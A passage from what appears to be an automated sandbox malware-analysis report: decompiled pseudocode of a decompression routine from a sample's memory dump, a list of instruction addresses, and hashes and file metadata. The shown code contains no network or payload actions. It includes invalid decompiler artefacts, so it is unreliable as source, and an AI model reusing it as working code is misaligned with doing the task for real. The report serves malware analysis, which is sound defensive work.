													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x004066f0
0x004066f0
0x004066f4
0x00406701
0x0040670b
0x00000000
0x004066f6
0x004066f6
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673a
0x0040673d
0x00406744
0x00406749
0x0040662a
0x0040662d
0x0040699f
0x0040699f
0x0040699f
0x004069a2
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00000000
0x00000000
0x004069f0
0x004069f4
0x00406ba3
0x00406bb9
0x00406bc1
0x00406bc8
0x00406bca
0x00406bd1
0x00406bd5
0x00406bd5
0x00406a00
0x00406a07
0x00406a0f
0x00406a12
0x00406a15
0x00406a15
0x00406a1b
0x00406a1b
0x004061b7
0x004061b7
0x004061b7
0x004061c0
0x00000000
0x00000000
0x004061c6
0x00000000
0x004061d1
0x00000000
0x00000000
0x004061da
0x004061dd
0x004061e0
0x004061e4
0x00000000
0x00000000
0x004061ea
0x004061ed
0x004061ef
0x004061f0
0x004061f3
0x004061f5
0x004061f6
0x004061f8
0x004061fb
0x00406200
0x00406205
0x0040620e
0x00406221
0x00406224
0x00406230
0x00406258
0x0040625a
0x00406268
0x00406268
0x0040626c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040625c
0x0040625c
0x0040625f
0x00406260
0x00406260
0x00000000
0x0040625c
0x00406236
0x0040623b
0x0040623b
0x00406244
0x0040624c
0x0040624f
0x00000000
0x00406255
0x00406255
0x00000000
0x00406255
0x00000000
0x00406272
0x00406272
0x00406276
0x00406b22
0x00000000
0x00406b22
0x0040627f
0x0040628f
0x00406292
0x00406295
0x00406295
0x00406295
0x00406298
0x0040629c
0x00000000
0x00000000
0x0040629e
0x004062a4
0x004062ce
0x004062d4
0x004062db
0x00000000
0x004062db
0x004062aa
0x004062ad
0x004062b2
0x004062b2
0x004062bd
0x004062c5
0x004062c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040630d
0x00406313
0x00406316
0x00406323
0x0040632b
0x0040699f
0x0040699f
0x00000000
0x00000000
0x004062e2
0x004062e2
0x004062e6
0x00406b31
0x00000000
0x00406b31
0x004062f2
0x004062fd
0x004062fd
0x004062fd
0x00406300
0x00406303
0x00406306
0x0040630b
0x00000000
0x00000000
0x00000000
0x00000000
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406333
0x00406335
0x00406338
0x004063a9
0x004063ac
0x004063af
0x004063b6
0x004063c0
0x0040699f
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040699f
0x0040633a
0x0040633e
0x00406341
0x00406343
0x00406346
0x00406349
0x0040634b
0x0040634e
0x00406350
0x00406355
0x00406358
0x0040635b
0x0040635f
0x00406366
0x00406369
0x00406370
0x00406374
0x0040637c
0x0040637c
0x0040637c
0x00406376
0x00406376
0x00406376
0x0040636b
0x0040636b
0x0040636b
0x00406380
0x00406383
0x004063a1
0x004063a3
0x00000000
0x00406385
0x00406385
0x00406388
0x0040638b
0x0040638e
0x00406390
0x00406390
0x00406390
0x00406393
0x00406396
0x00406398
0x00406399
0x0040639c
0x00000000
0x0040639c
0x00000000
0x004065d2
0x004065d6
0x004065f4
0x004065f7
0x004065fe
0x00406601
0x00406604
0x00406607
0x0040660a
0x0040660d
0x0040660f
0x00406616
0x00406617
0x00406619
0x0040661c
0x0040661f
0x00406622
0x00406622
0x00406627
0x00000000
0x00406627
0x004065d8
0x004065db
0x004065de
0x004065e8
0x0040699f
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x00000000
0x0040663c
0x00406640
0x00406663
0x00406666
0x00406669
0x00406673
0x00406642
0x00406642
0x00406645
0x00406648
0x0040664b
0x00406658
0x0040665b
0x0040665b
0x0040699f
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x00000000
0x0040667f
0x00406683
0x00000000
0x00000000
0x00406689
0x0040668d
0x00000000
0x00000000
0x00406693
0x00406695
0x00406699
0x00406699
0x0040669c
0x004066a0
0x00000000
0x00000000
0x00000000
0x00000000
0x00406717
0x0040671b
0x00406722
0x00406725
0x00406728
0x0040671d
0x0040671d
0x0040671d
0x0040672b
0x0040672e
0x00000000
0x00000000
0x004067d7
0x004067d7
0x004067db
0x00406b79
0x00000000
0x00406b79
0x004067e1
0x004067e4
0x004067e7
0x004067eb
0x004067ee
0x004067f4
0x004067f6
0x004067f6
0x004067f6
0x004067f9
0x004067fc
0x00000000
0x00000000
0x004063cc
0x004063cc
0x004063d0
0x00406b3d
0x00000000
0x00406b3d
0x004063d6
0x004063d9
0x004063dc
0x004063e0
0x004063e3
0x004063e9
0x004063eb
0x004063eb
0x004063eb
0x004063ee
0x004063f1
0x004063f1
0x004063f4
0x004063f7
0x00000000
0x00000000
0x004063fd
0x00406403
0x00000000
0x00000000
0x00406409
0x00406409
0x0040640d
0x00406410
0x00406413
0x00406416
0x00406419
0x0040641a
0x0040641d
0x0040641f
0x00406425
0x00406428
0x0040642b
0x0040642e
0x00406431
0x00406434
0x00406437
0x00406453
0x00406456
0x00406459
0x0040645c
0x00406463
0x00406467
0x00406469
0x0040646d
0x00406439
0x00406439
0x0040643d
0x00406445
0x0040644a
0x0040644c
0x0040644e
0x0040644e
0x00406470
0x00406477
0x0040647a
0x00000000
0x00406480
0x00000000
0x00406480
0x00000000
0x00406485
0x00406485
0x00406489
0x00406b49
0x00000000
0x00406b49
0x0040648f
0x00406492
0x00406495
0x00406499
0x0040649c
0x004064a2
0x004064a4
0x004064a4
0x004064a4
0x004064a7
0x004064aa
0x004064aa
0x004064aa
0x004064b0
0x00000000
0x00000000
0x004064b2
0x004064b5
0x004064b8
0x004064bb
0x004064be
0x004064c1
0x004064c4
0x004064c7
0x004064ca
0x004064cd
0x004064d0
0x004064e8
0x004064eb
0x004064ee
0x004064f1
0x004064f1
0x004064f4
0x004064f8
0x004064fa
0x004064d2
0x004064d2
0x004064da
0x004064df
0x004064e1
0x004064e3
0x004064e3
0x004064fd
0x00406504
0x00406507
0x00000000
0x00406509
0x00000000
0x00406509
0x00406507
0x0040650e
0x0040650e
0x0040650e
0x0040650e
0x00000000
0x00000000
0x00406549
0x00406549
0x0040654d
0x00406b55
0x00000000
0x00406b55
0x00406553
0x00406556
0x00406559
0x0040655d
0x00406560
0x00406566
0x00406568
0x00406568
0x00406568
0x0040656b
0x0040656e
0x0040656e
0x00406574
0x00406512
0x00406512
0x00406515
0x00000000
0x00406515
0x00406576
0x00406576
0x00406579
0x0040657c
0x0040657f
0x00406582
0x00406585
0x00406588
0x0040658b
0x0040658e
0x00406591
0x00406594
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b5
0x004065b8
0x004065bc
0x004065be
0x00406596
0x00406596
0x0040659e
0x004065a3
0x004065a5
0x004065a7
0x004065a7
0x004065c1
0x004065c8
0x004065cb
0x00000000
0x004065cd
0x00000000
0x004065cd
0x00000000
0x0040685a
0x0040685a
0x0040685e
0x00406b85
0x00000000
0x00406b85
0x00406864
0x00406867
0x0040686a
0x0040686e
0x00406871
0x00406877
0x00406879
0x00406879
0x00406879
0x0040687c
0x00000000
0x00000000
0x00000000
0x00000000
0x00406969
0x0040696d
0x0040698f
0x00406992
0x0040699c
0x0040699f
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040699f
0x0040696f
0x00406972
0x00406976
0x00406979
0x00406979
0x0040697c
0x00000000
0x00000000
0x00406a26
0x00406a2a
0x00406a48
0x00406a48
0x00406a48
0x00406a4f
0x00406a56
0x00406a5d
0x00406a5d
0x00000000
0x00406a5d
0x00406a2c
0x00406a2f
0x00406a32
0x00406a35
0x00406a3c
0x00406980
0x00406980
0x00406983
0x00000000
0x00000000
0x00406b17
0x00406b1a
0x00406a1b
0x00000000
0x00000000
0x00406751
0x00406753
0x0040675a
0x0040675b
0x0040675d
0x00406760
0x00000000
0x00000000
0x00406768
0x0040676b
0x0040676e
0x00406770
0x00406772
0x00406772
0x00406773
0x00406776
0x0040677d
0x00406780
0x0040678e
0x00000000
0x00000000
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00000000
0x00000000
0x00406a73
0x00406a73
0x00406a77
0x00406baf
0x00000000
0x00406baf
0x00406a7d
0x00406a80
0x00406a83
0x00406a87
0x00406a8a
0x00406a90
0x00406a92
0x00406a92
0x00406a92
0x00406a95
0x00406a98
0x00406a98
0x00406a98
0x00406a98
0x00406a9b
0x00406a9b
0x00406a9f
0x00406aff
0x00406b02
0x00406b07
0x00406b08
0x00406b0a
0x00406b0c
0x00406b0f
0x00406a1b
0x00406a1b
0x00000000
0x00406a21
0x00406a1b
0x00406aa1
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406adb
0x00406ade
0x00406ae1
0x00406ae4
0x00406ae8
0x00406aea
0x00406aea
0x00406aeb
0x00406aee
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad6
0x00406ad6
0x00406af1
0x00406af8
0x00000000
0x00406afa
0x00000000
0x00406afa
0x00000000
0x00406796
0x00406799
0x004067cf
0x004068ff
0x004068ff
0x004068ff
0x004068ff
0x00406902
0x00406902
0x00406905
0x00406907
0x00406b91
0x00000000
0x00406b91
0x0040690d
0x00406910
0x00000000
0x00000000
0x00406916
0x0040691a
0x0040691d
0x0040691d
0x0040691d
0x00000000
0x0040691d
0x0040679b
0x0040679d
0x0040679f
0x004067a1
0x004067a4
0x004067a5
0x004067a7
0x004067a9
0x004067ac
0x004067af
0x004067c5
0x004067ca
0x00406802
0x00406802
0x00406806
0x00406832
0x00406834
0x0040683b
0x0040683e
0x00406841
0x00406841
0x00406846
0x00406846
0x00406848
0x0040684b
0x00406852
0x00406855
0x00406882
0x00406882
0x00406885
0x00406888
0x004068fc
0x004068fc
0x004068fc
0x00000000
0x004068fc
0x0040688a
0x00406890
0x00406893
0x00406896
0x00406899
0x0040689c
0x0040689f
0x004068a2
0x004068a5
0x004068a8
0x004068ab
0x004068c4
0x004068c6
0x004068c9
0x004068ca
0x004068cd
0x004068cf
0x004068d2
0x004068d4
0x004068d6
0x004068d9
0x004068db
0x004068de
0x004068e2
0x004068e4
0x004068e4
0x004068e5
0x004068e8
0x004068eb
0x004068ad
0x004068ad
0x004068b5
0x004068ba
0x004068bc
0x004068bf
0x004068bf
0x004068ee
0x004068f5
0x0040687f
0x0040687f
0x0040687f
0x0040687f
0x00000000
0x004068f7
0x00000000
0x004068f7
0x004068f5
0x00406808
0x0040680b
0x0040680d
0x00406810
0x00406813
0x00406816
0x00406818
0x0040681b
0x0040681e
0x0040681e
0x00406821
0x00406821
0x00406824
0x0040682b
0x004067ff
0x004067ff
0x004067ff
0x004067ff
0x00000000
0x0040682d
0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00406518
0x00406518
0x0040651c
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x00000000
0x00000000
0x004066a3
0x004066a3
0x004066a7
0x00406b6d
0x00000000
0x00406b6d
0x004066ad
0x004066b0
0x004066b3
0x004066b6
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066d9
0x004066dc
0x004066de
0x004066de
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x004066e1
0x004066e1
0x00000000
0x004066e1
0x00406962
0x00406b97
0x00000000
0x00000000
0x004061c6
0x00406bce
0x00406bce
0x00000000
0x00406bce
0x00406a1b
0x004069a2
0x0040699f
0x00000000
0x004066f4

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 804fba803cbd16a140b159ae7d26de6fa0620b5d9a2f4af6b8021cca2140f9f9
Instruction ID: 7be6eb69932b41c0b27de07e5fb880b338722213318b425ba270fb710fdbb197
Opcode Fuzzy Hash: 804fba803cbd16a140b159ae7d26de6fa0620b5d9a2f4af6b8021cca2140f9f9
Instruction Fuzzy Hash: FE714671E00228CBDF28CF98C8447ADBBB1FB44305F15816ED856BB281C778AA96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040663C Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040663C() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00406BD6))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
